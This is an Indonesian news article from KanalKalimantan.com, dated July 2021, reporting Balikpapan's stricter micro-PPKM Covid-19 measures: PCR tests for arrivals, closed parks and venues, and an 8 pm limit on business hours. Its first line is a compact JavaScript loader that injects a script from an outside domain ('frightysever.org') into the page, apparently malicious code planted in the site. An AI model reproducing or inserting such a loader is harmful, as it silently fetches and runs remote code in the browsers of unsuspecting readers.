(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BALIKPAPAN – Menimbang kondisi dan situasi makin mengganasnya Covid-19 di Kota Balikpapan, pemerintah kota (Pemko) setempat akhirnya menerapkan pengetatan pemberlakuan pembatasan kegiatan masyarakat (PPKM) mikro. Salah satu poinnya, yakni mewajibkan bagi warga pendatang menunjukan hasil negatif Swab PCR.
Kepala Satpol PP Balikpapan Zulkifli mengemukakan pengetatan bagi pendatang dilakukan di bandara dan pelabuhan, serta berlaku bagi warga pemegang identitas di luar Kota Balikpapan.
Zulkifli mengatakan, warga tersebut wajib menunjukan hasil negatif swab PCR 2×24 jam sebelum keberangkatan.
“Dikecualikan bagi penumpang transit atau tujuan luar Balikpapan,” katanya seperti dilansir Presisi.co -jaringan Suara.com pada Jumat (2/7/2021).
Baca juga:Â PENTING. Pelamar Formasi Satpol PP Banjarbaru Ada Ketentuan Tambahan, Ini Persyaratannya!
Sedangkan bagi warga yang memiliki KTP Balikpapan hanya diwajibkan menunjukan hasil negatif rapid antigen 2×24 jam sebelum keberangkatan.
Pemberlakuan aturan tersebut, katanya mengacu pada Instruksi Gubernur Kaltim 14/2021 yang mencantumkan pengetatan PPKM mikrio ini berlaku sejak 3-20 Juli 2021.
Untuk pemberlakuan PPKM mikro di Kota Balikpapan juga sudah tertuang dalam Surat Edaran 300/2589/Pem tentang Penguatan PPKM Mikro.
Jika dibandingkan dengan pemberlakuan PPKM darurat di Jakarta ada beberapa perbedaan mendasar, salah satunya mengenai jumlah kasus.
“Kalau kasus per hari menyentuh 697 kasus, baru diterapkan PPKM darurat. Kalau di Balikpapan hanya sekitar 200 kasus per hari,” ujarnya.
Kemudian di dalam surat edaran tersebut, terdapat beberapa kebijakan yang berubah.
Kebijakan tersebut meliputi penutupan seluruh fasilitas umum dan taman kota, pasar malam, wahana permainan anak, tempat wisata, fasilitas rekreasi.
Baca juga:Â Terjaring Razia Satpol PP Banjarmasin, Belasan Pasangan Bukan Suami Istri Diamankan
Tidak hanya itu, Satgas Covid-19 Kota Balikpapan juga meniadakan seluruh even termasuk resepsi pernikahan. Pun juga dengan jam operasional pusat perbelanjaan dan tempat makan yang batas operasional hanya diperbolehkan sampai pukul 20.00 Wita.
“Berbeda dengan Jakarta yang terapkan PPKM darurat, jadi harus tutup pukul 17.00 Wita,” ucapnya. (suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.